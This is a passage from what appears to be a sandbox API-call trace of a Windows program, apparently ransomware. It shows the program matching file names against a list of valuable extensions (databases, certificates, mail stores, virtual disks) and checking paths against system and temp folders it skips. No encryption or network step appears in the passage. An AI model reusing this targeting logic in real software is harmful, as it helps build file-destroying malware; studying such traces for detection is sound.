VarBstrCmp (bstrLeft="Tops", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.042] VarBstrCmp (bstrLeft="Tops", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.042] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="$Tops", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.043] VarBstrCmp (bstrLeft="$Tops", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="$Tops", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.043] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.043] VarBstrCmp (bstrLeft="Tops", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="$Tops", bstrRight=".aspx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".asp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".odt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".css", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".p12", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="Tops", bstrRight=".edb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.044] VarBstrCmp (bstrLeft="$Tops", bstrRight=".config", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.044] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".php", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".htm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="$Tops", bstrRight=".html", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".p7c", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="$Tops", bstrRight=".class", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".pef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".pem", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".pfx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".psd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".pst", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".r3d", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".raw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.045] VarBstrCmp (bstrLeft="Tops", bstrRight=".rw2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.045] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".rar", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="ops", bstrRight=".cs", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="ops", bstrRight=".vb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".cpp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".wpd", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".wps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".xlk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".vmx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".ovf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.046] VarBstrCmp (bstrLeft="$Tops", bstrRight=".conf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.046] VarBstrCmp (bstrLeft="Tops", bstrRight=".sln", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.046] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.047] VarBstrCmp (bstrLeft="Tops", bstrRight=".rtf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.047] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.047] VarBstrCmp (bstrLeft="$Tops", bstrRight=".vmdk", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.047] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.047] VarBstrCmp (bstrLeft="Tops", bstrRight=".zip", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.047] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.047] GetLastError () returned 0x0 [0120.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.047] lstrcpynW (in: lpString1=0x142fffc, lpString2="$TxfLog.blf", iMaxLength=12 | out: lpString1="$TxfLog.blf") returned="$TxfLog.blf" [0120.047] GetLastError () returned 0x0 [0120.047] VarBstrCmp (bstrLeft="xfLog.blf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.047] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.048] VarBstrCmp (bstrLeft="blf", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft="g.blf", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.048] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.048] VarBstrCmp (bstrLeft=".blf", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x0 [0120.049] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0120.049] GetLastError () returned 0x0 [0120.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.049] lstrcpynW (in: lpString1=0x1448c1c, lpString2="$TxfLogContainer00000000000000000001", iMaxLength=37 | out: lpString1="$TxfLogContainer00000000000000000001") returned="$TxfLogContainer00000000000000000001" [0120.049] GetLastError () returned 0x0 [0120.050] GetLastError () returned 0x0 [0120.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.050] lstrcpynW (in: lpString1=0x1431a44, lpString2="$TxfLogContainer00000000000000000002", iMaxLength=37 | out: lpString1="$TxfLogContainer00000000000000000002") returned="$TxfLogContainer00000000000000000002" [0120.050] GetLastError () returned 0x0 [0120.054] GetLastError () returned 0x0 [0120.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.054] lstrcpynW (in: lpString1=0x1433584, lpString2="MainQueueOnline1.que", iMaxLength=21 | out: lpString1="MainQueueOnline1.que") returned="MainQueueOnline1.que" [0120.054] GetLastError () returned 0x0 [0120.055] GetLastError () returned 0x0 [0120.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.055] lstrcpynW (in: lpString1=0x143676c, lpString2="Contents1.dir", iMaxLength=14 | out: lpString1="Contents1.dir") returned="Contents1.dir" [0120.055] GetLastError () returned 0x0 [0120.056] GetLastError () returned 0x0 [0120.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.056] lstrcpynW (in: lpString1=0x14da79c, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.056] GetLastError () returned 0x0 [0120.056] GetLastError () returned 0x0 [0120.057] GetLastError () returned 0x0 [0120.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.057] lstrcpynW (in: lpString1=0x1433584, lpString2="PfSvPerfStats.bin", iMaxLength=18 | out: lpString1="PfSvPerfStats.bin") returned="PfSvPerfStats.bin" [0120.057] GetLastError () returned 0x0 [0120.057] GetLastError () returned 0x0 [0120.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.058] lstrcpynW (in: lpString1=0x143676c, lpString2="Setup.evtxX", iMaxLength=11 | out: lpString1="Setup.evtx") returned="Setup.evtx" [0120.058] GetLastError () returned 0x0 [0120.058] GetLastError () returned 0x0 [0120.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.058] lstrcpynW (in: lpString1=0x1436794, lpString2="AgRobust.db", iMaxLength=12 | out: lpString1="AgRobust.db") returned="AgRobust.db" [0120.058] GetLastError () returned 0x0 [0120.059] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.060] GetLastError () returned 0x0 [0120.060] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.061] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.061] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000 [0120.061] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.061] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryInformationFile") returned 0x77c5fa00 [0120.061] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14dbf60, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14dbf60) returned 0x0 [0120.061] GetLastError () returned 0x0 [0120.061] GetLastError () returned 0x0 [0120.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea9e, cbMultiByte=1, lpWideCharStr=0x18ea8c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.062] lstrcpynW (in: lpString1=0x1433584, lpString2="\\Windows\\Prefetch", iMaxLength=18 | out: lpString1="\\Windows\\Prefetch") returned="\\Windows\\Prefetch" [0120.062] GetLastError () returned 0x0 [0120.062] CloseHandle (hObject=0x2c4) returned 1 [0120.062] GetLastError () returned 0x0 [0120.062] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.062] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.062] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.062] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.063] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.063] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.063] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.063] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.063] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.063] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.063] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.063] CharLowerBuffW (in: lpsz="C:\\Windows\\Prefetch\\AgRobust.db", cchLength=0x20 | out: lpsz="c:\\windows\\prefetch\\agrobust.db") returned 0x20 [0120.063] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.064] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.064] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.064] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.064] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.064] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.064] GetLastError () returned 0x0 [0120.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.064] lstrcpynW (in: lpString1=0x14b46bc, lpString2="AgGlGlobalHistory.db", iMaxLength=21 | out: lpString1="AgGlGlobalHistory.db") returned="AgGlGlobalHistory.db" [0120.064] GetLastError () returned 0x0 [0120.064] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.065] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14dbf60, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14dbf60) returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea9e, cbMultiByte=1, lpWideCharStr=0x18ea8c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.065] lstrcpynW (in: lpString1=0x14b498c, lpString2="\\Windows\\Prefetch", iMaxLength=18 | out: lpString1="\\Windows\\Prefetch") returned="\\Windows\\Prefetch" [0120.065] GetLastError () returned 0x0 [0120.065] CloseHandle (hObject=0x2c4) returned 1 [0120.065] GetLastError () 